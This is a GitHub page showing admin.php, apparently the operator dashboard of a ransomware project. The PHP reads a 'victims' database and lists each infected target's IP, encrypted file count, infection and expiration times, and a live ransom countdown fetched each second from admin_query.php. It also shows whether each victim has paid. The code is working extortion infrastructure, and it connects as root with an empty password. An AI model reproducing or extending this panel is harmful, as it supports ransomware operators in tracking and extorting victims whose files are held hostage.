-
Notifications
You must be signed in to change notification settings - Fork 71
Expand file tree
/
Copy pathadmin.php
More file actions
executable file
·125 lines (116 loc) · 3.29 KB
/
Copy pathadmin.php
File metadata and controls
executable file
·125 lines (116 loc) · 3.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
<html>
<head>
<title>
Admin Portal
</title>
<script src="/scripts/jquery.js">
</script>
</head>
<body background="/images/hacker.jpg" style='background-repeat: no-repeat; background-attachment: fixed; background-position: center; background-size: 100% 100%;'>
<center>
<table border='0'>
<tr style="color: white;">
<td align='center'>
<b>ID</b>
</td>
<td align='center'>
<b>Unique ID</b>
</td>
<td align='center'>
<b>Target IP</b>
</td>
<td align='center'>
<b>File Count</b>
</td>
<td align='center'>
<b>Infection Time</b>
</td>
<td align='center'>
<b>Expiration Time</b>
</td>
<td align='center'>
<b>Time Expired</b>
</td>
<td align='center'>
<b>Timer</b>
</td>
<td align='center'>
<b>Paid</b>
</td>
</tr>
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "victims";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$timestamp = time();
$dateTimestamp = new DateTime("@$timestamp");
$timestamp = $dateTimestamp->format('Y-m-d H:i:s');
$sql = "SELECT *, timediff(exp_time, \"$timestamp\") as time_left FROM target_list";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$evenOdd = $row['id'] % 2;
if ($evenOdd == 0) {
$color = "white";
} else {
$color = "gray";
}
echo "<tr bgcolor=\"$color\">";
echo "<td align=\"center\">";
echo "$row[id]";
echo "</td>";
echo "<td align=\"center\">";
echo "$row[unique_id]";
echo "</td>";
echo "<td align=\"center\">";
echo "$row[target_ip]";
echo "</td>";
echo "<td align=\"center\">";
echo "$row[file_count]";
echo "</td>";
echo "<td align=\"center\">";
echo "$row[curr_time]";
echo "</td>";
echo "<td align=\"center\">";
echo "$row[exp_time]";
echo "</td>";
echo "<td align=\"center\">";
if ($row['time_expired'] == 1) {
echo "Expired";
} else {
echo "Not Expired";
}
echo "</td>";
echo "<script>" . "\n";
echo " $(document).ready(function() {" . "\n";
echo " setInterval(function() {" . "\n";
echo " $.get(\"admin_query.php?unique_id=$row[unique_id]\", function (result) {" . "\n";
echo " $('#test$row[id]').html(result);" . "\n";
echo " });" . "\n";
echo " }, 1000);" . "\n";
echo " });" . "\n";
echo "</script>" . "\n";
echo "<td id=\"test$row[id]\" align=\"center\">";
echo "</td>";
echo "<td align=\"center\">";
if ($row['paid'] == 0) {
echo "<font color='red'>No</font>";
} else {
echo "<font color='green'>Yes</font>";
}
echo "</td>";
echo "</tr>";
}
}
?>
</table>
</center>
</body>
</html>